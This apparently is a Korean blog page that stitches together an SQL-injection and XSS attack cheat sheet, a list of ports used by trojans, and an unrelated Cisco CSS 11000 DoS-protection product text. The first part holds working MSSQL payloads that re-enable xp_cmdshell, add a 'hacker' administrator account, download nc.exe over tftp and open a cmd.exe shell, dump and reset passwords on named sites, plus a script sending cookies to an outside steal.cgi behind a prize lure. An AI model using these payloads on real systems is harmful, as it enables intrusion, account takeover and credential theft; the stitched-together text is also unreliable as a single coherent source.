@isEnd=1 BREAK ELSE CONTINUE END

 

 

#########################################

# 공격 시나리오

#########################################

;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--


 And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_5450] order by [id]) T order by [id] desc)>0


;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
 
;CREATE TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
 
;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addsrvrolemember dir c:,sysadmin"'--
 
;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addlogin dir c:,xiaoxue"'--
 
;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

 

 

#########################################

# 기타 쿼리문

#########################################

모든 db명 쿼리하기
and 1=(select name from master.dbo.sysdatabases where dbid=7)
and 1=(select name from master.dbo.sysdatabases where dbid=8)

 

특정db에서 사용자가 만든 테이블명 불러오기
and 0<>(select top 1 name from snortids.dbo.sysobjects where xtype=char(85))
and 0<>(select top 1 name from (select top 행증가 name from .dbo.sysobjects where xtype='U' order by name asc) as table1 order by name desc)

 

테이블의 컬럼정보 불러오기

특정 테이블고유ID 가져오기(char(97)+char(98)+char(99)=abc) 1061578820 
and 0<>(select count(*) from snortids.dbo.sysobjects where xtype='U' and name=char(97)+char(99)+char(105)+char(100)+char(95)+char(101)+char(118)+char(101)+char(110)+char(116) and uid>(str(id)))

 

컬럼명 가져오기
and 0<>(select top 1 name from snortids.dbo.syscolumns where id=1061578820) 
and 0<>(select top 1 name from (select top 행증가 name from snortids.dbo.syscolumns where id=1061578820 order by name asc) as table1 order by name desc)

 

데이터 가져오기
and 0<>(select top 1 char(94)+Cast(sig_name as varchar(8000))+char(94) from SnortIDS..acid_event)
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from SnortIDS..acid_event where 컬럼명 not in('이미얻은내용'))
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from (select top 행수 컬럼명 from SnortIDS.dbo.acid_event order by 컬럼명 asc) as table1 order by 컬럼명 desc)

 

#########################################

작성일 : 2007년 4월 24일

작성자 : 송윤경 (Nick:Leopit)

#########################################

1.Uploading 공격
 1.1. cmdshell 업로딩(ipconfig, net user, net start)
 1.2.  uploading asp파일 업(upload.asp, upload.inc)
 
2.XSS 공격
  2.1."><script>alert(document.cookie);</script>(취약 페이지 확인)
  2.2 공격 스크립트 게시판에 올림
  <script>document.location.href="http://www.skcert.com/cgi-bin/steal.cgi?COOKIES=" +document.cookie; </script>
  2.3 클릭하면 경품당첨!!!!!!!!!!! (글제목)

3.SQL-Injection
  3.1 사용자 인증
      id: admin pw: ' or 1=1--
  
  3.2 자동화 툴 사용
    3.2.1 스캔 후 NBSI 툴 공격
          스캔 URL->http://www.skmall.com/index.asp
          취약 페이지->http://www.skmall.com/shop/shop_fashion.asp?gcode=1
  
  3.3 취약한 페이지에 DB생성 & 계정 추가 &   
      http://www.skmall.com/shop/fashion/shop_product.asp?gseq=102001001106&gcode=1&gbcode=02&barcode=1020010010900106

      '; create table [dbo].[jiaozhu] ([jiaozhu][varchar](50))--  ->DB테이블 생성
     
     3.3.1 계정 추가(먼저 추가되기 전 계정 
     상태 net user로 보여준다) 
       '; exec master..xp_cmdshell 'net start telnet /add'-- 
      '; exec master..xp_cmdshell 'net user hacker 1111 /add'--  ->계정 추가
        net localgroup administrators 명령어로 확인
       '; exec master..xp_cmdshell 'net localgroup administrators hacker /add'--
    
       '; exec master..xp_cmdshell 'tftp -i 192.168.1.61 get nc.exe'--
       '; exec master..xp_cmdshell 'nc -l -p 1234 -e cmd.exe'--

telnet 192.168.1.11 1234

0, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16 and db_name()>0
1, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16' and% 1=(select @@version)--
2, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;exec master.xp_servicecontrol 'start','telnet';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_addlogin 'ljy';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_password 'null','ljy','ljy';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_addsrvrolemember 'ljy','sysadmin';
   '; exec master..xp_cmdshell 'ping 10.250.186.81'--

 

 

-------------------------------다 날------------------------------------------

 

df' union select @@version,system_user,'3','4','5'--
aa' union select name,'/',id,'/',password from dt_new_admin_list--

aa' ;create table dir(filename varchar(200) NOT NULL,depth int NOT NULL,[file] int NOT NULL)--
aa' ;delete from dir;insert dir exec master.dbo.xp_dirtree 'c:\',1,1--

aa' union select '','','',filename,depth,'' from dir--
aa' ;delete from dir;insert dir exec master.dbo.xp_dirtree 'd:\web\sonymusic\public_html\www\',1,1--

aa' ; exec master.dbo.xp_cmdshell 'for /r c: %i in (FindZipsearch.asp) do @if exist %i (echo %i>%i.bak)'--

aa' union select '','','',table_name,'-'column_name from information_schema.columns--

aa' union select top 1000 MC_NAME,'/',MC_ID,'/',MC_PWD_A from DV_MEMBER_LOGIN--
aa' ;update DV_MEMBER_LOGIN set MC_PWD_A ='0728' where mc_id='ipath'--

port 2 - Death
port 21 - Back Construction, Blade Runner, Doly Trojan, Fore, FTP trojan, Invisible FTP, Larva, MBT, Motiv, Net Administrator, Senna Spy FTP Server, WebEx, WinCrash
port 23 - Tiny Telnet Server, Truva Atl
port 25 - Aji, Antigen, Email Password Sender, Gip, Happy 99, I Love You, Kuang 2, Magic Horse, Moscow Email Trojan, Naebi, NewApt, ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy
port 31 - Agent 31, Hackers Paradise, Masters Paradise
port 41 - DeepThroat
port 48 - DRAT
port 50 - DRAT
port 59 - DMSetup
port 79 - Firehotcker
port 80 - Back End, Executor, Hooker, RingZero
port 99 - Hidden Port
port 110 - ProMail trojan
port 113 - Invisible Identd Deamon, Kazimas
port 119 - Happy 99
port 121 - JammerKillah
port 123 - Net Controller
port 133 - Farnaz, port 146 - Infector
port 146 (UDP) - Infector
port 170 - A-trojan
port 421 - TCP Wrappers
port 456 - Hackers Paradise
port 531 - Rasmin
port 555 - Ini-Killer, NeTAdministrator, Phase Zero, Stealth Spy
port 606 - Secret Service
port 666 - Attack FTP, Back Construction, NokNok, Cain & Abel, Satanz Backdoor, ServeU, Shadow Phyre
port 667 - SniperNet
port 669 - DP Trojan
port 692 - GayOL
port 777 - Aim Spy
port 808 - WinHole
port 911 - Dark Shadow
port 999 - DeepThroat, WinSatan
port 1000 - Der Spacher 3
port 1001 - Der Spacher 3, Le Guardien, Silencer, WebEx
port 1010 - Doly Trojan
port 1011 - Doly Trojan
port 1012 - Doly Trojan
port 1015 - Doly Trojan
port 1016 - Doly Trojan
port 1020 - Vampire
port 1024 - NetSpy
port 1042 - Bla
port 1045 - Rasmin
port 1050 - MiniCommand
port 1080 - WinHole
port 1081 - WinHole
port 1082 - WinHole
port 1083 - WinHole
port 1090 - Xtreme
port 1095 - RAT
port 1097 - RAT
port 1098 - RAT
port 1099 - BFevolution, RAT
port 1170 - Psyber Stream Server, Streaming Audio trojan, Voice
port 1200 (UDP) - NoBackO
port 1201 (UDP) - NoBackO
port 1207 - SoftWAR
port 1212 - Kaos
port 1225 - Scarab
port 1234 - Ultors Trojan
port 1243 - BackDoor-G, SubSeven, SubSeven Apocalypse, Tiles
port 1245 - VooDoo Doll
port 1255 - Scarab
port 1256 - Project nEXT
port 1269 - Mavericks Matrix
port 1313 - NETrojan
port 1338 - Millenium Worm
port 1349 (UDP) - BO DLL
port 1492 - FTP99CMP
port 1509 - Psyber Streaming Server
port 1524 - Trinoo
port 1600 - Shivka-Burka
port 1777 - Scarab
port 1807 - SpySender
port 1966 - Fake FTP
port 1969 - OpC BO
port 1981 - Shockrave
port 1999 - BackDoor, TransScout
port 2000 - Der Spaeher 3, Insane Network, TransScout
port 2001 - Der Spaeher 3, TransScout, Trojan Cow
port 2002 - TransScout
port 2003 - TransScout
port 2004 - TransScout
port 2005 - TransScout
port 2023 - Ripper
port 2080 - WinHole
port 2115 - Bugs
port 2140 - Deep Throat, The Invasor
port 2155 - Illusion Mailer
port 2283 - HVL Rat5
port 2300 - Xplorer
port 2565 - Striker
port 2583 - WinCrash
port 2600 - Digital RootBeer
port 2716 - The Prayer
port 2773 - SubSeven
port 2801 - Phineas Phucker
port 3000 - Remote Shutdown
port 3024 - WinCrash
port 3128 - RingZero
port 3129 - Masters Paradise
port 3150 - Deep Throat, The Invasor
port 3456 - Teror Trojan
port 3459 - Eclipse 2000, Sanctuary
port 3700 - Portal of Doom
port 3791 - Eclypse
port 3801 (UDP) - Eclypse
port 4000 - Skydance
port 4092 - WinCrash
port 4242 - Virtual hacking Machine
port 4321 - BoBo
port 4444 - Prosiak, Swift remote
port 4567 - File Nail
port 4590 - ICQTrojan
port 5000 - Bubbel, Back Door Setup, Sockets de Troie
port 5001 - Back Door Setup, Sockets de Troie
port 5010 - Solo
port 5011 - One of the Last Trojans (OOTLT)
port 5031 - NetMetropolitan
port 5031 - NetMetropolitan
port 5321 - Firehotcker
port 5343 - wCrat
port 5400 - Blade Runner, Back Construction
port 5401 - Blade Runner, Back Construction
port 5402 - Blade Runner, Back Construction
port 5550 - Xtcp
port 5512 - Illusion Mailer
port 5555 - ServeMe
port 5556 - BO Facil
port 5557 - BO Facil
port 5569 - Robo-Hack
port 5637 - PC Crasher
port 5638 - PC Crasher
port 5742 - WinCrash
port 5882 (UDP) - Y3K RAT
port 5888 - Y3K RAT
port 6000 - The Thing
port 6006 - The Thing
port 6272 - Secret Service
port 6400 - The Thing
port 6667 - Schedule Agent
port 6669 - Host Control, Vampyre
port 6670 - DeepThroat, BackWeb Server, WinNuke eXtreame
port 6711 - SubSeven
port 6712 - Funny Trojan, SubSeven
port 6713 - SubSeven
port 6723 - Mstream
port 6771 - DeepThroat
port 6776 - 2000 Cracks, BackDoor-G, SubSeven
port 6838 (UDP) - Mstream
port 6912 - Shit Heep (not port 69123!)
port 6939 - Indoctrination
port 6969 - GateCrasher, Priority, IRC 3, NetController
port 6970 - GateCrasher
port 7000 - Remote Grab, Kazimas, SubSeven
port 7001 - Freak88
port 7215 - SubSeven
port 7300 - NetMonitor
port 7301 - NetMonitor
port 7306 - NetMonitor
port 7307 - NetMonitor
port 7308 - NetMonitor
port 7424 - Host Control
port 7424 (UDP) - Host Control
port 7789 - Back Door Setup, ICKiller
port 7983 - Mstream
port 8080 - RingZero
port 8787 - Back Orifice 2000
port 8897 - HackOffice
port 8988 - BacHack
port 8989 - Rcon
port 9000 - Netministrator
port 9325 (UDP) - Mstream
port 9400 - InCommand
port 9872 - Portal of Doom
port 9873 - Portal of Doom
port 9874 - Portal of Doom
port 9875 - Portal of Doom
port 9876 - Cyber Attacker, RUX
port 9878 - TransScout
port 9989 - iNi-Killer
port 9999 - The Prayer
port 10067 (UDP) - Portal of Doom
port 10085 - Syphillis
port 10086 - Syphillis
port 10101 - BrainSpy
port 10167 (UDP) - Portal of Doom
port 10528 - Host Control
port 10520 - Acid Shivers
port 10607 - Coma
port 10666 (UDP) - Ambush
port 11000 - Senna Spy
port 11050 - Host Control
port 11051 - Host Control
port 11223 - Progenic trojan, Secret Agent
port 12076 - Gjamer
port 12223 - Hack´99 KeyLogger
port 12345 - GabanBus, My Pics, NetBus, Pie Bill Gates, Whack Job, X-bill
port 12346 - GabanBus, NetBus, X-bill
port 12349 - BioNet
port 12361 - Whack-a-mole
port 12362 - Whack-a-mole
port 12623 (UDP) - DUN Control
port 12624 - Buttman
port 12631 - WhackJob
port 12754 - Mstream
port 13000 - Senna Spy
port 13010 - Hacker Brazil
port 15092 - Host Control
port 15104 - Mstream
port 16660 - Stacheldracht
port 16484 - Mosucker
port 16772 - ICQ Revenge
port 16969 - Priority
port 17166 - Mosaic
port 17300 - Kuang2 The Virus
port 17777 - Nephron
port 18753 (UDP) - Shaft
port 19864 - ICQ Revenge
port 20001 - Millennium
port 20002 - AcidkoR
port 20034 - NetBus 2 Pro, NetRex, Whack Job
port 20203 - Chupacabra
port 20331 - Bla
port 20432 - Shaft
port 20432 (UDP) - Shaft
port 21544 - GirlFriend, Kidterror, Schwindler, WinSp00fer
port 22222 - Prosiak
port 23023 - Logged
port 23432 - Asylum
port 23456 - Evil FTP, Ugly FTP, Whack Job
port 23476 - Donald Dick
port 23476 (UDP) - Donald Dick
port 23477 - Donald Dick
port 26274 (UDP) - Delta Source
port 26681 - Spy Voice
port 27374 - SubSeven
port 27444 (UDP) - Trinoo
port 27573 - SubSeven
port 27665 - Trinoo
port 29104 - Host Control
port 29891 (UDP) - The Unexplained
port 30001 - TerrOr32
port 30029 - AOL Trojan
port 30100 - NetSphere
port 30101 - NetSphere
port 30102 - NetSphere
port 30103 - NetSphere
port 30103 (UDP) - NetSphere
port 30133 - NetSphere
port 30303 - Sockets de Troie
port 30947 - Intruse
port 30999 - Kuang2
port 31335 (UDP) - Trinoo
port 31336 - Bo Whack, ButtFunnel
port 31337 - Baron Night, BO client, BO2, Bo Facil
port 31337 (UDP) - BackFire, Back Orifice, DeepBO, Freak>
port 31338 - NetSpy DK, ButtFunnel
port 31338 (UDP) - Back Orifice, DeepBO
port 31339 - NetSpy DK
port 31666 - BOWhack
port 31785 - Hack´a´Tack
port 31787 - Hack´a´Tack
port 31788 - Hack´a´Tack
port 31789 (UDP) - Hack´a´Tack
port 31791 (UDP) - Hack´a´Tack
port 31792 - Hack´a´Tack
port 32100 - Peanut Brittle, Project nEXT
port 32418 - Acid Battery
port 33333 - Blakharaz, Prosiak
port 33577 - PsychWard
port 33777 - PsychWard
port 33911 - Spirit 2001a
port 34324 - BigGluck, TN
port 34555 (UDP) - Trinoo (Windows)
port 35555 (UDP) - Trinoo (Windows)
port 37651 - YAT
port 40412 - The Spy
port 40421 - Agent 40421, Masters Paradise
port 40422 - Masters Paradise
port 40423 - Masters Paradise
port 40426 - Masters Paradise
port 41666 - Remote Boot
port 41666 (UDP) - Remote Boot
port 44444 - Prosiak
port 47262 (UDP) - Delta Source
port 50505 - Sockets de Troie
port 50766 - Fore, Schwindler
port 51996 - Cafeini
port 52317 - Acid Battery 2000
port 53001 - Remote Windows Shutdown
port 54283 - SubSeven
port 54320 - Back Orifice 2000
port 54321 - School Bus
port 54321 (UDP) - Back Orifice 2000
port 57341 - NetRaider
port 58339 - ButtFunnel
port 60000 - Deep Throat
port 60068 - Xzip 6000068
port 60411 - Connection
port 61348 - Bunker-Hill
port 61466 - Telecommando
port 61603 - Bunker-Hill
port 63485 - Bunker-Hill
port 65000 - Devil, Stacheldracht
port 65432 - The Traitor
port 65432 (UDP) - The Traitor
port 65535 - RC

Name
Port
CYN
113
Net Taxi
142
Backage
334
BAL
666
Back constrution
666
Undetected
777
Vampire
1020
internal revise
1064
subseven
1074
subseven 1.9
1243
subseven 1.0
1243
Frenzy
1257
Remote Hack
1480
TMC presents
1999
SheepGoat
2003
dagger
2589
Wartojan
4201
CrAcKDoWn
4444
Net Metropolitan
5031
backage 3.0.1
5333
wincrash
5742
y3k rat 1.6
5802
y3k rat
5802
Y3k rat
5880
Deep throat
6000
Matrix
7778
ReVeNgEr
7891
Netministrator Client
9000
incommand
9400
incommand
9400
AMBUSH
10666
net bus
12345
Net bus
12345
bionet
12349
bionet 0.8
12349
bionet 2.1.1
12349
NetDemon
15000
subzero
15382
crazzynet by CrazzWak
17499
crazzynet by CrazzWak
17499
Millenium
20001
Girl Friend
21554
kid terror
21554
Net Tarsh
23005
sub7bonus
27374
infector by fc
30000
error32
30001
Netsphere
30100
intruse by chams
30947
Deep Bo
31337
ACID BATTERY
32418
Acropolis
32791
Prosiak
44444
Delta Source
47269
School bus
54321


'Security' 카테고리의 다른 글

모의해킹 시나리오 정리  (0) 2017.01.08
해킹툴이 사용하는 포트  (0) 2017.01.08
웹 사이트 보안 및 DoS(Denial-of-Service) 공격 방지  (0) 2017.01.08
암호화 모드  (0) 2017.01.08
방화벽 내용 정리  (0) 2017.01.08

성공적인 공공 웹 사이트가 되려면 사이트로의 액세스를 장려하는 동시에 바람직하지 못한 또는 치명적인 트래픽을 제거하고 사이트의 성능이나 확장성을 제한하지 않으면서 필요한 수준의 보안을 충분히 제공해야 합니다.

DoS(denial-of-service) 공격으로 인한 서비스 중단은 포털, 전자 상거래 사이트 등 웹 중심의 기업에게는 그야말로 "죽음의 키스(kiss of death)"입니다. 1999년 실시한 컴퓨터 범죄 및 보안 상태 조사(Computer Crime and Security Survey)에 의하면 외부인에 의한 침입을 보고한 응답자의 비율이 30%로, 외부인에 의한 시스템 침입이 3년 연속 증가한 것으로 나타났습니다. 인터넷 연결을 빈번한 공격 지점으로 보고한 사람들의 비율은 1996년 전체 응답자의 37%에서 1999년 57%로 3년간 줄곧 상승세를 보였습니다.

대부분의 웹 사이트의 경우 DoS 공격을 방지하는 것이 중요합니다. 특히 이러한 공격은 정상적인 웹 트래픽처럼 보이도록 하는 방법을 이용하여 웹 사이트 작동을 중단시키기 때문에 이미 손을 쓸 수 없는 상황에서야 이를 알게 됩니다. 웹 사이트 관리자는 기본적으로 IP 라우터에서 패킷 필터링 기능을 사용하여 액세스를 제어해 왔지만, 이 경우 라우터 성능이 지나칠 정도로 저하될 수 있으며 일반적인 유형의 많은 DoS 공격을 제거하지 못합니다.

기존의 방화벽은 NAT(Network Address Translation)를 사용하고, 특정 TCP 포트를 사용하는 트래픽을 제한하여 DoS를 방지하고, 특정 네트워크 주소로부터 수신되는 트래픽을 제한하거나 트래픽을 스캐닝하여 바이러스나 바람직하지 않은 애플리케이션이 있는지 확인하는 등 IP 주소의 경계 역할을 할 수 있습니다. 그러나 이런 솔루션은 시스템에 대한 액세스 방지라는, 오늘날의 웹에는 맞지 않는 개념을 바탕으로 설계되었습니다. 뿐만 아니라 기존의 방화벽은 트래픽 용량이 극도로 증가하는 오늘날의 웹 환경에 맞게 확장할 수 없습니다.

Cisco CSS 11000 시리즈 컨텐트 서비스 스위치는 확장성이나 성능을 손상시키지 않으면서 적절한 수준의 보안을 제공하도록 설계된 광범위한 웹 사이트 및 백엔드 시스템 보안 기능을 제공합니다. 여기에는 다음과 같은 보안 기능이 포함됩니다(그림 1 참조).

사이트 수준 보안


  • DoS 공격 방지 - 시스코 CSS 웹 스위치는 초기 플로우 셋업 시 모든 세션 플로우를 확인하여 시스코 CSS 웹 스위치의 성능에는 영향을 주지 않으면서 연결 기반의 모든 DoS 공격과 기타 시도된 치명적 또는 비정상적 연결을 제거합니다. 
  • FlowWall 보안 - 시스코 CSS 웹 스위치는 IP 주소, TCP 포트, 호스트 태그, 전체 URL 또는 파일 유형별로 특정 컨텐트 요청을 차단하는 고속 ACL(Access Control List)을 포함하여 방화벽 서비스를 제공합니다. 
  • NAT(Network Address Translation) - 시스코 CSS 웹 스위치에서 유선 속도의 NAT 기능은 웹 서버, 캐시 등 웹 스위치 뒤에 위치한 모든 장치의 IP 주소를 숨겨 해커가 명시적 IP 주소를 사용하여 서버를 직접 공격하지 못하도록 합니다. 
    백엔드 시스템에 대한 보안
  • 방화벽 로드 밸런싱 - 인터넷 경로에서 또는 핵심적인 백엔드 시스템이나 네트워크를 보호하기 위해 완벽한 방화벽 보안이 필요한 경우 Cisco CSS 11000 시리즈 스위치는 병목현상을 방지할 수 있으며, 여러 개의 로드 밸런싱된 방화벽 간에 트래픽을 분산하여 단일 장애 지점을 제거할 수 있습니다. 

    그림 1:
     웹 사이트 보안 DoS 공격

     
  • DoS 공격 - 일반적으로 DoS 공격은 대상 웹 서버를 과부하 상태로 만들어 무력화시킬 목적으로 표준 프로토콜 또는 연결 프로세스를 악용합니다.
  • TCP SYN 쇄도 - 이 공격은 요청이 완료되지 않아도 반복적으로 TCP 연결 요청을 전송하여 대상 시스템이 자원을 모두 소모할 때까지 TCP 제어 블록을 할당하도록 합니다. 
  • "Smurf" 및 "fraggle" 공격 - 이 공격은 대상 서버의 원본 주소를 위조하여 다수의 ICMP(Internet Control Message Protocol) 에코(핑) 메시지를 IP 브로드캐스트 주소로 전송합니다. 해당 브로드캐스트 주소로 트래픽을 전달하는 라우팅 장치가 레이어 2 브로드캐스트 기능에 대해 IP 브로드캐스트를 수행하기 때문에 대부분의 네트워크 호스트는 각각 ICMP 에코 요청을 받아들여 에코 응답을 발행하게 되므로 응답 중인 호스트 수에 비례하여 트래픽이 증가합니다. Fraggle은 UDP(User Datagram Protocol) 에코 메시지를 사용한다는 점을 제외하곤 smurf와 유사합니다. 멀티액세스 브로드캐스트 네트워크에서는 잠재적으로 수백 대의 시스템이 각 패킷에 응답할 수 있습니다. 
  • UNIX 프로세스 테이블 DoS 공격 - 이 공격에서는 UNIX 서버로 개방형 연결 요청을 반복적으로 전송합니다. 모든 연결에 자동으로 응답하고 요청을 실행하도록 서브프로그램(Internet Daemon, Secure Shell Daemon, Internet Message Access Protocol Daemon 등)이 작성됩니다. 그러나 요청 없이 연결이 시작되는 경우 대부분의 디먼은 회선을 열어 둔 채로 동시에 600
  • 1500개의 작업을 처리할 수 있는 서버 프로세스 테이블의 자원을 사용합니다. 연결이 반복되면 프로세스 테이블이 금방 과부하 상태가 되어 서버가 작동을 멈출 수 있습니다. 
  • Finger of death - 이 공격은 핑거 요청을 특정 컴퓨터로 매분마다 전송하지만 결코 연결이 끊어지지 않습니다. 프로그램 장애로 연결을 종료하지 못하면 UNIX 서버 "프로세스 테이블"이 금방 과부하 상태가 되어 ISP(Internet Service Provider)의 서비스가 몇 시간 동안 중단될 수 있습니다. 

    Cisco CSS 11000 시리즈 스위치는 웹 스위치 자체에는 아무런 영향을 주지 않으면서 스위치 통과를 시도하는 악성 연결 요청은 물론 앞서 설명한 모든 DoS 공격을 제거합니다.

    모든 트래픽에 대한 일반 보호


    Cisco CSS 11000 시리즈 스위치는 다음 경우에 프레임을 폐기합니다.
  • 프레임 길이가 너무 짧은 경우
  • 프레임이 단편화된 경우 
  • 소스 IP 주소 = IP 수신지(LAND attack) 
  • 소스 주소 = 시스코 주소 또는 소스가 서브넷 브로드캐스트인 경우
  • 소스 주소가 유니캐스트 주소가 아닌 경우 
  • 소스 IP 주소가 루프백 주소인 경우
  • 수신 IP 주소가 루프백 주소인 경우
  • 수신 주소가 유효한 유니캐스트 또는 멀티캐스트 주소가 아닌 경우 

    레이어 4 및 5의 경우


    스위치에서 레이어 5 규칙을 사용하여 VIP[Virtual IP] 주소로 전달된 HTTP(Hypertext Transfer Protocol) 플로우의 경우, 웹 스위치는 플로우가 시작되고 16초 이내에 유효한 컨텐트 프레임을 수신해야 합니다. 그렇지 못할 경우 프레임을 폐기하고 플로우를 중단합니다. 웹 스위치가 유효한 컨텐트 프레임을 수신할 때까지 서버 연결은 이루어지지 않습니다. 따라서 Cisco CSS 11000 시리즈 스위치에 의해 종료된 TCP 상태 블록이 서버 프론트에 남게 될 위험은 없습니다.

    스위치에서 레이어 4 규칙을 사용하여 VIP로 전달된 TCP 플로우의 경우, 웹 스위치는 16초 이내에 3-way ACK 핸드쉐이크에 대해 리턴 ACK를 수신해야 합니다. 그렇지 못할 경우 해당 TCP 흐름을 중단합니다. 따라서 서버로 개방형 연결 요청을 반복
    적으로 시도하는 프로세스 테이블 DoS 공격이 제거됩니다.

    8번 이상 초기 SYN을 시도한 플로우의 경우에는 웹 스위치가 플로우를 없애고(kill) 초기 시퀀스 번호, 소스 및 수신 주소와 포트 쌍이 동일한 해당 소스에서 보낸 SYS를 더 이상 처리하지 않습니다. 따라서 SYN 쇄도 DoS 공격이 제거됩니다.

    NAT(Network Address Translation)


    NAT는 스위치 뒤에 위치한 모든 장치의 IP 주소를 숨겨 수천 개의 사설 IP 주소(10.xxx.xxx.xxx)를 무제한으로 사용하여 전세계적으로 고유하게 할당된 IP 주소를 토대로 하나 이상의 외부 VIP에 맵핑할 수 있도록 합니다. NAT는 기존의 할당된 IP 주소, 희귀 자원을 관리하는 데도 중요하며 네트워크가 확장됨에 따라 추가로 주소를 많이 획득하지 않아도 됩니다.

    NAT는 RFC 1631에 기술된 업계 표준 구현을 바탕으로 하지만 모든 포트에서 유선 속도로 완벽한 양방향 NAT를 제공할 수 있는 스위치는 Cisco CSS 11000 시리즈 스위치뿐입니다. 이 스위치는 소스 그룹 NAT도 지원하는데, 이 NAT는 서버에서 시작되어 다시 클라이언트로 이동하는 플로우(포트 기반 동적 FTP[File Transfer Protocol]) 또는 서버에서 시작되어 클라이언트 이외의 다른 위치로 이동하는 플로우에 NAT를 제공합니다. 따라서 사이트 성능을 저하시키지 않고 보안을 향상시킬 수 있습니다.

    FlowWall 보안


    신규 플로우가 감지됨과 동시에 ACL과 플로우 승인 제어를 비롯한 웹 스위치 방화벽 규칙이 호출됩니다. 모든 트래픽은 이러한 정책들이 플로우 설정의 일부로 검증된 후에 해당 플로우가 지속되는 동안 유선 속도로 스위칭됩니다. 시스코는 Cisco PIX Firewall에 필적하는 기능을 보다 빠른 속도로 제공하지만 모든 패킷을 검사하는 기존의 소프트웨어 기반 방화벽을 대체하지는 않습니다. 예를 들어, FlowWall은 인터넷에서는 일반적이지만 보안 엔터프라이즈 네트워크에서는 허용되지 않는 Java 및 Active-X 트래픽을 스캐닝하지 않습니다.

    몇 가지 중요한 일반 방화벽 규칙 외에 특정 도메인 이름이나 URL(Universal Resource Locator)에 대한 정책에 맞게 웹 스위치를 구성할 수도 있습니다. 실제로 Cisco CSS 11000 시리즈 스위치는 다음 중 일부 또는 모두에 일치하는 요청에 대해 액션(포함/우회/차단)을 지정하도록 ACL을 구성할 수 있습니다.
  • 소스 IP 주소
  • 수신 IP 주소
  • TCP 포트
  • 호스트 태그
  • URL
  • 파일 확장명

    "차단(blocking)" 규칙은 특정 컨텐트에 대한 요청이 원래 서버나 캐시로 이동하지 못하도록 합니다. PoP(Point of Presence) 또는 케이블 헤드엔드(headend)에 위치한 프론트 엔딩 캐시 서버인 스위치에서 이 기능을 사용하여 인터넷에서 특정 컨텐트에 대한 액세스를 차단할 수 있습니다.

    ACL을 통해 고급 투명 캐싱 정책을 사용할 수도 있는데 예를 들면 다음과 같습니다.
  • "포함" 규칙을 사용하여 특정 컨텐트에 대한 모든 요청을 캐시로 전달하고 그 밖의 요청에 대해서는 캐시를 우회하여 특정 고객 컨텐트 공급을 최적화할 수 있습니다. 

  • 우회 규칙을 사용하여 특정 컨텐트에 대한 모든 요청에 대해 캐시를 우회하고 그 밖의 요청은 캐시로 전달할 수 있습니다. 기술적, 법적, 철학적 이유로 트래픽을 캐싱하는 고객들이 있는데, 이 기능을 사용하면 특정 고객의 컨텐트 중 일부 또는 전부가 캐시로 전달되지 않도록 세밀하게 제어할 수 있습니다. 

    방화벽 로드 밸런싱


    Cisco CSS 11000 시리즈 스위치는 여러 개의 방화벽 간에 트래픽을 로드 밸런싱하여 성능 병목현상과 단일 장애점을 없애 웹 사이트, 백엔드 데이터베이스, 네트워크 또는 기타 자원에 대한 보안을 유지합니다.
    Cisco CSS 11000 시리즈 스위치는 로드 밸런싱이 이루어지고 있는 방화벽 앞, 뒤에 설치할 수 있습니다. 그림 2에서와 같이 방화벽 로드 밸런싱에 사용되지 않는 각 스위치에서 포트를 다른 용도로 구성할 수는 있지만 실제로 고유 스위치는 방화벽 양쪽에 설치됩니다.

    그림 2: 엔터프라이즈 방화벽 로드 밸런싱 예



    시스코 방화벽 로드 밸런싱은 고유 IP 주소를 갖고 있는 상태 저장(stateful) 방화벽 간에 트래픽을 분산하도록 설계되었습니다.

    그림 3: 로드 밸런싱된 방화벽 구성

     

    Cisco CSS 11000 시리즈 스위치는 한 쌍의 IP 주소 사이의 특정 웹 플로우에 대한 모든 트래픽이 어느 방향으로든 동일한 방화벽을 통과하도록 보장합니다. 그림 3에서와 같이 인접 방화벽 포트의 IP 주소(A), 원격 방화벽 포트의 IP 주소(B), 원격 웹 스위치 포트의 IP 주소(C)를 사용하여 각 스위치에서 정적 IP 경로를 구성하면 됩니다. 또한 로드 밸런싱된 방화벽 양쪽의 모든 포트는 서로 다른 IP 서브넷 주소를 활용하고 있습니다. 이 구성에서는 NAT를 수행하도록 방화벽을 구성할 수 없습니다. 모든 NAT 처리는 방화벽의 사설 네트워크 측에 있는 웹 스위치에서 수행됩니다.

    Cisco CSS 11000 시리즈 웹 스위치는 각각 상태 검사를 사용하여 경로의 각 단계가 응답하고 있는지 확인함으로써 방화벽을 통해 인접 방화벽 포트, 원격 방화벽 포트, 원격 웹 스위치 포트 등 경로를 보안합니다. 일부 경로를 사용할 수 없는 경우, 웹 스위치는 생존 경로를 통해 모든 트래픽을 다시 라우팅합니다. 경보를 전송하거나 이벤트를 기록하여 시스템 관리자에게 장애를 알리도록 Cisco CSS 11000 시리즈 스위치를 구성할 수 있습니다. 세션 상태 정보를 공유하고 실제로 서로 연결되도록 방화벽이 구성되어 있으면 경로나 방화벽에 장애가 발생한 경우에도 사용자 세션이 중단되지 않습니다.

